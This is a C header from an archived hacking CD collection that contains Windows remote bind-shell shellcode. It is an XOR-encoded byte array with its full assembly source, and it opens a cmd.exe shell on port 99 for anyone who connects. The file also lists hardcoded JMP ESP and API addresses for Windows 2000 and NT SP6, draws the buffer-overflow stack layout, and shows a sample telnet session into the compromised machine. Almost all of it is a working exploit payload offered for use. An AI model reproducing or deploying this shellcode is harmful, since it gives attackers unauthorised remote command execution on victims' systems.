home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / win32 / winshellcode.h < prev   
Encoding:
C/C++ Source or Header  |  2000-09-24  |  22.8 KB  |  628 lines

  1. /********************************************************************************************************
  2.  
  3.           WinShellCode  Writen by sunx 
  4.         sunx@cnns.net, http://www.cnns.net
  5.  
  6.  This shellcode works like most remote UNIX shell
  7.  
  8.  it will listen on port 99, 
  9.  when telnet to chis port, a cmd.exe shell will active
  10.  
  11.  It is asm code is followed.
  12.  
  13.  For remove char(0) in data
  14.  shellcode is xor 0x99, it will decode itself, when on run
  15.  
  16.  when overflow, run time cpu mirror is :
  17.  
  18. -------------------RRRR-NOPNOPNOPNOPNOPNOPNOP-ShellCodeShellCodeShellCode-------------------
  19.                        ^                       ^
  20.                        |                       |
  21.                        |                       |
  22.                      ESP point to here       shellcode place here
  23.  
  24.  ESP must less than shellcode start address, when run this shellcode
  25.  
  26.  [root@Linux /]# telnet 192.168.0.5 99
  27.  Trying 192.168.0.5...
  28.  Connected to sunx (192.168.0.5).
  29.  Escape character is '^]'.
  30.  Microsoft Windows 2000 [Version 5.00.2195]
  31.  (C) ░µ╚¿╦∙╙╨ 1985-2000 Microsoft Corp.
  32.  
  33.  E:\work\asm\winshell\conv>cd \
  34.  
  35.  cd \
  36.  
  37.  E:\>^]q
  38.  
  39.  Connection closed.
  40.  [root@Linux /]# telnet 192.168.0.5 99
  41.  Trying 192.168.0.5...
  42.  Connected to sunx (192.168.0.5).
  43.  Escape character is '^]'.
  44.  
  45.  E:\>c:  
  46.  
  47.  c:
  48.  
  49.  C:\>
  50.  
  51. ********************************************************************************************************/
  52.  
  53. #ifndef WINSHELLCODE_H
  54. #define WINSHELLCODE_H
  55.  
  56. const unsigned long  OfsShellCodeLoadLib = 0x436;
  57. const unsigned long  OfsShellCodeGetProc = 0x43a;
  58. const unsigned long  OfsShellCodeShell = 0x442;
  59.  
  60. const unsigned long  JMPESP_Win2k2195  = 0x77e6898b;
  61. const unsigned long  JMPESP_WinNTsp6   = 0x77f0eac3;
  62.  
  63. const unsigned long  LoadLib_Win2k2195 = 0x77e67273;
  64. const unsigned long  GetProc_Win2k2195 = 0x77e67031;
  65.  
  66. const unsigned long  LoadLib_WinNTsp6 = 0x77ee391a;
  67. const unsigned long  GetProc_WinNTsp6 = 0x77ee4111;
  68.  
  69. unsigned char shellcode[]=
  70. {
  71.         0x8b, 0xfc, 0xb8, 0x73, 0x75, 0x6e, 0x78, 0x47, 0x39, 0x07, 0x75, 0xfb, 0x8d, 0x6f, 0xfd, 0x8d, 
  72.         0x7d, 0x26, 0x90, 0x90, 0x90, 0x8b, 0xf7, 0xb4, 0x99, 0xfc, 0xac, 0x32, 0xc4, 0xaa, 0x81, 0x3e, 
  73.         0x73, 0x75, 0x6e, 0x78, 0x75, 0xf4, 0x14, 0x24, 0xdb, 0x9d, 0x99, 0x99, 0x65, 0xaa, 0x50, 0x28, 
  74.         0xb9, 0x29, 0xbd, 0x6b, 0x37, 0x5f, 0xde, 0x66, 0x99, 0x71, 0x4c, 0x9b, 0x99, 0x99, 0x71, 0x41, 
  75.         0x98, 0x99, 0x99, 0x10, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0x71, 0x44, 0x98, 0x99, 0x99, 0x71, 0xcb, 
  76.         0x9b, 0x99, 0x99, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x71, 0x9d, 0x98, 0x99, 0x99, 0x12, 0x1c, 
  77.         0xb7, 0x9d, 0x99, 0x99, 0x71, 0x88, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xab, 0x9d, 0x99, 0x99, 0x71, 
  78.         0x9b, 0x99, 0x99, 0x99, 0x72, 0x71, 0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0x71, 0x28, 0x99, 0x99, 
  79.         0x99, 0x1a, 0x61, 0x99, 0xed, 0xc0, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 0xbf, 
  80.         0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59, 0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 
  81.         0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x55, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 
  82.         0xed, 0xe4, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59, 0xc9, 0x12, 0x1c, 0xbf, 0x9d, 0x99, 0x99, 0xc9, 
  83.         0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 
  84.         0x93, 0x9d, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xcf, 0x09, 0x09, 0x09, 0x09, 0x72, 0x0e, 0xaa, 
  85.         0x59, 0xc9, 0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d, 
  86.         0x99, 0x99, 0xc9, 0x66, 0x0c, 0x96, 0x9d, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xa8, 0x09, 0x09, 
  87.         0x09, 0x09, 0xaa, 0x42, 0xca, 0x14, 0x04, 0xbf, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x12, 0x1c, 0xb3, 
  88.         0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x5b, 0x9a, 0x99, 
  89.         0x99, 0x1a, 0x61, 0x99, 0xed, 0x90, 0x09, 0x09, 0x09, 0x09, 0x70, 0xde, 0x66, 0x66, 0x66, 0xaa, 
  90.         0x59, 0x5a, 0xaa, 0x42, 0xca, 0x14, 0x04, 0xc7, 0x98, 0x99, 0x99, 0xca, 0xaa, 0x42, 0xca, 0xca, 
  91.         0xca, 0xc9, 0x66, 0x0c, 0x31, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xed, 0x92, 0x09, 0x09, 0x09, 
  92.         0x09, 0x12, 0x1c, 0xc7, 0x98, 0x99, 0x99, 0x5a, 0x21, 0x99, 0x99, 0x99, 0x99, 0x5a, 0x99, 0x99, 
  93.         0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99, 0x99, 0x5e, 0x99, 0xdd, 0x99, 0x99, 0x99, 0xc9, 0x66, 
  94.         0x0c, 0xe4, 0x9a, 0x99, 0x99, 0x12, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x92, 0x9b, 0x99, 
  95.         0x99, 0x10, 0x1c, 0x9e, 0x9b, 0x99, 0x99, 0x12, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x9a, 
  96.         0x9b, 0x99, 0x99, 0xaa, 0x59, 0xff, 0x21, 0x98, 0x98, 0x10, 0x1c, 0x6e, 0x98, 0x99, 0x99, 0x14, 
  97.         0x1c, 0x52, 0x98, 0x99, 0x99, 0xc9, 0xc9, 0xaa, 0x59, 0xc9, 0xc9, 0xc9, 0xd9, 0xc9, 0xd1, 0xc9, 
  98.         0xc9, 0x14, 0x1c, 0xdb, 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59, 0xc9, 0x66, 0x0c, 0x14, 0x9a, 0x99, 
  99.         0x99, 0x1a, 0x61, 0x99, 0x96, 0x1d, 0xdb, 0x98, 0x99, 0x99, 0x5a, 0x99, 0x99, 0x99, 0x99, 0x99, 
  100.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  101.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  102.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  103.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  104.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xaa, 0x59, 0x2d, 0x9d, 0xc9, 
  105.         0x58, 0x71, 0x9d, 0xc9, 0x66, 0x0c, 0x2f, 0x9a, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 
  106.         0xf7, 0x9b, 0x99, 0x99, 0x5e, 0x99, 0x95, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x1c, 0x83, 0x9d, 0x99, 
  107.         0x99, 0xc9, 0x14, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99, 0x99, 0xaa, 
  108.         0x59, 0xc9, 0x14, 0x1c, 0xf7, 0x9b, 0x99, 0x99, 0xc9, 0x14, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 
  109.         0x14, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99, 0x99, 0x5a, 0x99, 0x99, 
  110.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x98, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x04, 0x38, 0x9b, 0x99, 
  111.         0x99, 0x5e, 0x9a, 0x89, 0x99, 0x99, 0x99, 0xca, 0x14, 0x04, 0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 
  112.         0x66, 0x0c, 0x9a, 0x9d, 0x99, 0x99, 0x12, 0x41, 0x1a, 0x61, 0x99, 0xc1, 0xe5, 0x45, 0x12, 0x5a, 
  113.         0x5a, 0x89, 0x99, 0x99, 0x99, 0xaa, 0x59, 0xc9, 0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c, 0x69, 0x9a, 
  114.         0x99, 0x99, 0x1a, 0x61, 0x66, 0xed, 0xdb, 0x09, 0x09, 0x09, 0x09, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 
  115.         0x99, 0xf3, 0x89, 0x14, 0x04, 0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x6e, 0x9a, 0x99, 
  116.         0x99, 0x1a, 0x61, 0x99, 0xec, 0xba, 0x09, 0x09, 0x09, 0x09, 0xf3, 0x9c, 0x12, 0x1c, 0xb7, 0x9d, 
  117.         0x99, 0x99, 0xc9, 0x66, 0x0c, 0x65, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xec, 0x92, 0x09, 0x09, 
  118.         0x09, 0x09, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0x5a, 0x9b, 0x99, 0x99, 0xfa, 
  119.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x66, 0x0c, 0x42, 0x9a, 
  120.         0x99, 0x99, 0x5a, 0x14, 0x24, 0xf0, 0x9a, 0x99, 0x99, 0x12, 0x5e, 0xce, 0x71, 0xb6, 0x99, 0x99, 
  121.         0x99, 0xc6, 0xc9, 0xab, 0x59, 0xaa, 0x50, 0x6e, 0x48, 0x65, 0x6b, 0x37, 0xc1, 0x19, 0xa6, 0x99, 
  122.         0xed, 0x8e, 0x09, 0x09, 0x09, 0x09, 0xc9, 0xce, 0x12, 0x46, 0x71, 0x84, 0x99, 0x99, 0x99, 0xc6, 
  123.         0x10, 0x9e, 0xc1, 0xde, 0xde, 0xde, 0xde, 0x72, 0x40, 0xde, 0x19, 0xa6, 0x99, 0xec, 0x53, 0x5a, 
  124.         0xca, 0x14, 0x04, 0xaf, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x8a, 0xc2, 0x5a, 0xce, 0x14, 0x24, 0xa3, 
  125.         0x9d, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x8e, 0xc6, 0x5a, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 
  126.         0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 
  127.         0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 
  128.         0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 
  129.         0xfc, 0xd1, 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8, 0xf4, 0xfc, 
  130.         0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 
  131.         0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 
  132.         0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0, 0xed, 0xc9, 
  133.         0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0x99, 0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 
  134.         0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 
  135.         0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb, 
  136.         0xfc, 0xfa, 0xef, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  137.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  138.         0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
  139.         0xea, 0xeb, 0x7f, 0xee,                         //address of loadlibrarya, it is os version depended
  140.         0xa8, 0xe9, 0x7f, 0xee,                         //address of getprocaddress, it is os version depended
  141.         0x73, 0x75, 0x6e, 0x78,                         //sunx, it is a decode flag, don't modify it
  142.         0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x24, //cmd.exe$, you can modify it freely, 
  143.         0x00
  144. };
  145.  
  146. /********************************************************************************************************
  147.  
  148. ;***************************************************************************************************
  149. ; Written by sunx
  150. ;***************************************************************************************************
  151.  
  152. .486
  153.  
  154. .model flat
  155.  
  156. locals
  157.  
  158. .code
  159.  
  160. shellcodebegin:
  161.  
  162.             mov edi, esp
  163.             mov eax, 'xnus'
  164. findnext:   inc edi
  165.             cmp [edi], eax
  166.             jnz findnext 
  167.  
  168.             lea ebp, [edi + offset shellcodebegin - offset findnext + 4 ]
  169.  
  170.             lea edi, [ebp + offset main - offset shellcodebegin]
  171.             mov esi, edi
  172.             mov ah, 99h
  173.             cld
  174.  
  175. xorloop:    
  176.             lodsb
  177.             xor al, ah
  178.             stosb
  179.             cmp dword ptr [esi], 'xnus'
  180.             jnz xorloop
  181.  
  182. main:       lea edi, [ebp + offset cmd - offset shellcodebegin]
  183.             cld
  184.             xor ecx, ecx
  185.             mov cl, 32
  186.             mov al, '$'
  187.             repnz scasb
  188.             mov byte ptr [edi-1], 0
  189.  
  190.             call processapi
  191.             call initpbuf
  192.             mov [ebp + offset pbuf - offset shellcodebegin], eax 
  193.             call initpipe        
  194.             call initsock   
  195.             mov [ebp + offset accepthand - offset shellcodebegin], eax 
  196.             call initshell
  197.  
  198. runloop:           
  199.             mov eax, [ebp + offset accepthand - offset shellcodebegin]
  200.             call getaconnect
  201.  
  202.             mov [ebp + offset sockhand - offset shellcodebegin], eax
  203.  
  204.             call runshell
  205.  
  206.             jmp runloop
  207.  
  208. ;*******************************************************************************************************;*******************************************************************************************************;*******************************************************************************************************            
  209.  
  210. runshell    proc
  211.  
  212. @@peek:     mov eax, [ebp + offset pipeAread - offset shellcodebegin]
  213.             call peekdata
  214.             cmp eax, 0
  215.             jz @@readinput
  216.  
  217.             ;readfile()
  218.             xor eax, eax
  219.             push eax
  220.  
  221.             lea  eax, [ebp + offset i - offset shellcodebegin]
  222.             push eax
  223.  
  224.             xor eax, eax
  225.             mov ah, 4
  226.             push eax
  227.  
  228.             mov eax, [ebp + offset pbuf - offset shellcodebegin]
  229.             push eax
  230.  
  231.             mov eax, [ebp + offset pipeAread - offset shellcodebegin]
  232.             push eax
  233.             call [ebp + offset readfile - offset shellcodebegin]
  234.  
  235.             cmp eax, 0 
  236.             jz @@exit
  237.  
  238.             ;send() 
  239.             xor eax, eax
  240.             push eax
  241.             mov eax, [ebp + offset i - offset shellcodebegin]
  242.             push eax
  243.             mov eax, [ebp + offset pbuf - offset shellcodebegin]
  244.             push eax
  245.             mov eax, [ebp + offset sockhand - offset shellcodebegin]
  246.             push eax
  247.  
  248.             call [ebp + offset send - offset shellcodebegin]
  249.             ;call [ebp + offset wsagetlasterror - offset shellcodebegin]
  250.  
  251.             cmp eax, 0
  252.             jl @@exit
  253.  
  254.             jmp @@peek
  255.  
  256. @@readinput:
  257.             xor eax, eax
  258.             push eax
  259.             mov ah, 4
  260.             push eax
  261.             mov eax, [ebp + offset pbuf - offset shellcodebegin]
  262.             push eax
  263.             mov eax, [ebp + offset sockhand - offset shellcodebegin]
  264.             push eax
  265.             call [ebp + offset recv - offset shellcodebegin]
  266.             cmp eax, 0 
  267.             jl @@exit
  268.  
  269.             xor ebx, ebx
  270.             push ebx
  271.  
  272.             lea ebx, [ebp + offset i - offset shellcodebegin]
  273.             push ebx
  274.  
  275.             push eax
  276.  
  277.             mov eax, [ebp + offset pbuf - offset shellcodebegin]
  278.             push eax
  279.             mov eax, [ebp + offset pipeBwrite - offset shellcodebegin]
  280.             push eax
  281.             call [ebp + offset writefile - offset shellcodebegin]
  282.  
  283.             cmp eax, 0
  284.             jz @@exit
  285.  
  286.             jmp @@peek
  287.             
  288. @@exit:     xor eax, eax
  289.  
  290.             ret
  291.  
  292. runshell    endp
  293.  
  294. ;*******************************************************************************************************
  295. peekdata    proc     ;call with eax = pipehand,  return eax = bytes should be read
  296.  
  297.             xor ebx, ebx
  298.             push ebx
  299.             lea ebx, [ebp + offset peeki - offset shellcodebegin]
  300.             push ebx
  301.  
  302.             xor ebx, ebx
  303.             push ebx
  304.             push ebx
  305.             push ebx
  306.  
  307.             push eax
  308.  
  309.             call [ebp + offset peeknamedpipe - offset shellcodebegin]
  310.             cmp eax, 0
  311.             jz @@error
  312.  
  313.             mov eax, [ebp + offset peeki - offset shellcodebegin]            
  314.  
  315.             ret
  316.  
  317. @@error:    mov eax, 0
  318.             ret
  319.  
  320. peeki       dd      0
  321. peekdata    endp
  322.  
  323. ;*******************************************************************************************************
  324. initshell  proc
  325.             lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
  326.             mov dword ptr [eax], 044h
  327.             push eax
  328.             call [ebp + offset getstartupinfo - offset shellcodebegin]    
  329.  
  330.             ;build startinfo
  331.             mov eax, [ebp + offset pipeAwrite - offset shellcodebegin]    
  332.             mov [ebp + offset StartupInfo - offset shellcodebegin + 40h], eax    
  333.             mov [ebp + offset StartupInfo - offset shellcodebegin + 3ch], eax    
  334.             mov eax, [ebp + offset pipeBread - offset shellcodebegin]
  335.             mov [ebp + offset StartupInfo - offset shellcodebegin + 38h], eax        
  336.  
  337.             xor eax, eax
  338.             mov ax, 0101h
  339.             mov [ebp + offset StartupInfo - offset shellcodebegin +2Ch], eax
  340.  
  341.             lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
  342.             push eax
  343.             push eax
  344.  
  345.             xor eax, eax
  346.             push eax
  347.             push eax
  348.             push eax
  349.             inc eax
  350.             push eax
  351.             dec eax
  352.             push eax
  353.             push eax
  354.  
  355.             lea eax, [ebp + offset cmd - offset shellcodebegin]
  356.             push eax
  357.             xor eax, eax
  358.             push eax
  359.             call [ebp + offset createprocess - offset shellcodebegin]
  360.  
  361.             cmp eax, 0
  362.             jz exitshell
  363.  
  364.             ret
  365.  
  366. StartupInfo      db      50h dup(0) 
  367. initshell  endp
  368.  
  369. ;*******************************************************************************************************
  370.  
  371. initpbuf    proc    ;return eax = buf
  372.             xor eax, eax
  373.             mov ah, 4
  374.             push eax
  375.             shr eax, 4
  376.             push eax 
  377.             call [ebp + offset globalalloc - offset shellcodebegin]
  378.             ret
  379. initpbuf    endp
  380.  
  381. ;*******************************************************************************************************
  382.  
  383. initpipe    proc
  384.             xor eax, eax     
  385.             push eax
  386.             lea eax, [ebp + offset pipeattr - offset shellcodebegin]
  387.             mov dword ptr [eax], 0ch
  388.             push eax
  389.             lea eax, [ebp + offset pipeAwrite - offset shellcodebegin]
  390.             push eax
  391.             lea eax, [ebp + offset pipeAread - offset shellcodebegin]
  392.             push eax
  393.             call [ebp + offset createpipe - offset shellcodebegin]    
  394.             
  395.             xor eax, eax
  396.             push eax
  397.             lea eax, [ebp + offset pipeattr - offset shellcodebegin]
  398.             push eax
  399.             lea eax, [ebp +  offset pipeBwrite - offset shellcodebegin]
  400.             push eax
  401.             lea eax, [ebp + offset pipeBread - offset shellcodebegin]
  402.             push eax
  403.             call [ebp + offset createpipe - offset shellcodebegin]    
  404.             
  405.             ret
  406.                             
  407. pipeattr  label
  408.     len         dd      0
  409.     lpSecDesc   dd      0    
  410.     bInherit    dd      1 
  411.  
  412. initpipe    endp
  413.  
  414. ;*******************************************************************************************************
  415.             
  416. getaconnect proc    ;return eax = sock, call with eax = sock
  417.             
  418. @@next:     push eax
  419.             lea ebx, [ebp + offset @@accepti - offset shellcodebegin]
  420.             mov dword ptr [ebx], 16
  421.  
  422.             push ebx
  423.             lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
  424.             push ebx
  425.             push eax
  426.                        
  427.             call [ebp + offset accept - offset shellcodebegin]
  428.             mov ebx, eax
  429.             cmp eax, 0
  430.             pop eax
  431.             jl @@next
  432.             mov eax, ebx            
  433.             ret
  434. @@accepti   dd 16            
  435. getaconnect endp            
  436.  
  437. ;*******************************************************************************************************            
  438. initsock    proc        ; return eax = sock
  439.  
  440.  
  441.             ;socket()
  442.             xor eax, eax
  443.             push eax
  444.             inc eax
  445.             push eax
  446.             inc eax
  447.             push eax
  448.             call [ebp + offset socket - offset shellcodebegin]
  449.             cmp eax , 0ffffffffh
  450.             jz @@exit
  451.  
  452.             mov [ebp + offset accepthand - offset shellcodebegin], eax            
  453.                        
  454.             ;bind()
  455.  
  456.             push 10h
  457.             lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
  458.             push ebx
  459.             push eax
  460.             call [ebp + offset bind - offset shellcodebegin]
  461.             cmp eax , 0
  462.             jnz @@exit
  463.             
  464.             ;listen()
  465.             push 5
  466.             mov eax, [ebp + offset accepthand - offset shellcodebegin]
  467.             push eax
  468.  
  469.             call [ebp + offset listen - offset shellcodebegin]
  470.             cmp eax , 0
  471.             jnz @@exit
  472.  
  473.             mov eax, [ebp + offset accepthand - offset shellcodebegin]
  474.             ret
  475.             
  476. @@exit:     xor eax, eax
  477.             ret
  478.             
  479. sockstruc   label
  480.     sin_family  dw      0002h
  481.     sin_port    dw      6300h
  482.     sin_addr    dd      0
  483.     sin_zero    db      8 dup (0)
  484.  
  485. initsock    endp            
  486.  
  487. ;*******************************************************************************************************
  488. exitshell   proc
  489.             call [ebp + offset exitprocess - offset shellcodebegin]            
  490.             ret
  491. exitshell   endp
  492.  
  493. ;*******************************************************************************************************
  494. processapi  proc
  495.             ;kenel api
  496.             lea edi, [ebp + offset library  - offset shellcodebegin]
  497.             
  498. @@loadlib:  
  499.             mov eax, edi
  500.             push edi
  501.             call loadlib
  502.             pop edi
  503.             
  504. @@nextknlapi:
  505.             push eax
  506.             xor al, al
  507.             xor ecx, ecx
  508.             not ecx
  509.             cld
  510.             repnz scasb
  511.             pop eax            
  512.  
  513.             cmp byte ptr [edi], 0
  514.             
  515.             jz @@nextlib
  516.             
  517.             
  518.             push eax
  519.             push edi
  520.  
  521.             mov ebx, edi
  522.             call getproc
  523.             
  524.             pop edi
  525.             
  526.             mov [edi], eax
  527.             
  528.             pop eax
  529.             
  530.             inc edi
  531.             inc edi
  532.             inc edi
  533.             inc edi
  534.                                   
  535.             jmp @@nextknlapi
  536.             
  537. @@nextlib:  inc edi
  538.             cmp byte ptr [edi], 0
  539.             jnz @@loadlib
  540.  
  541. @@ret:            
  542.             ret      
  543. processapi  endp        
  544.  
  545. ;*******************************************************************************************************
  546.  
  547. loadlib     proc    ;eax=libraryname
  548.             push ebx
  549.             lea ebx, [ebp + offset LoadLibrary  - offset shellcodebegin]
  550.  
  551.             push eax
  552.             call dword ptr [ebx]
  553.             pop ebx
  554.             ret
  555. loadlib     endp            
  556.  
  557. ;*******************************************************************************************************
  558.         
  559. getproc     proc    ;eax=handle, ebx = procname
  560.             push edi
  561.             lea edi, [ebp + offset GetProcAddr  - offset shellcodebegin]
  562.             push ebx
  563.             push eax
  564.             call dword ptr [edi]
  565.             pop edi
  566.             ret
  567. getproc     endp
  568.  
  569. ;******************************************************************************************************* 
  570.  
  571. databegin   label
  572.  
  573. library     label
  574.  
  575. kernel          db      "KERNEL32", 0 
  576. createpipe      db      "CreatePipe", 0 
  577. getstartupinfo  db      "GetStartupInfoA", 0 
  578. createprocess   db      "CreateProcessA", 0 
  579. closehandle     db      "CloseHandle", 0 
  580. peeknamedpipe   db      "PeekNamedPipe", 0 
  581. globalalloc     db      "GlobalAlloc", 0 
  582. writefile       db      "WriteFile", 0 
  583. readfile        db      "ReadFile", 0 
  584. sleep           db      "Sleep", 0 
  585. exitprocess     db      "ExitProcess", 0 
  586.  
  587.                 db       0
  588.        
  589. wsock32         db      "WSOCK32", 0 
  590. socket          db      "socket", 0 
  591. bind            db      "bind", 0 
  592. listen          db      "listen", 0 
  593. accept          db      "accept", 0 
  594. send            db      "send", 0 
  595. recv            db      "recv", 0 
  596. ;wsagetlasterror db      "WSAGetLastError", 0
  597.  
  598.                 db       0
  599.                 db       0
  600.  
  601. pipeAread        dd      0
  602. pipeAwrite       dd      0
  603. pipeBread        dd      0
  604. pipeBwrite       dd      0
  605.         
  606. i                dd      0
  607. pbuf             dd      0
  608. accepthand       dd      0
  609. sockhand         dd      0
  610.  
  611. LoadLibrary dd 77e67273h
  612. GetProcAddr dd 77e67031h
  613.         
  614.                 dd 'xnus'
  615.                 
  616. cmd             db  "cmd.exe$"                      
  617.         
  618.                 db  0dh, 0ah  
  619.  
  620. dataend        label
  621.  
  622. .data
  623.                 ends
  624.                 end shellcodebegin 
  625.  
  626. *********************************************************************************************************/
  627.  
  628. #endif //WINSHELLCODE_H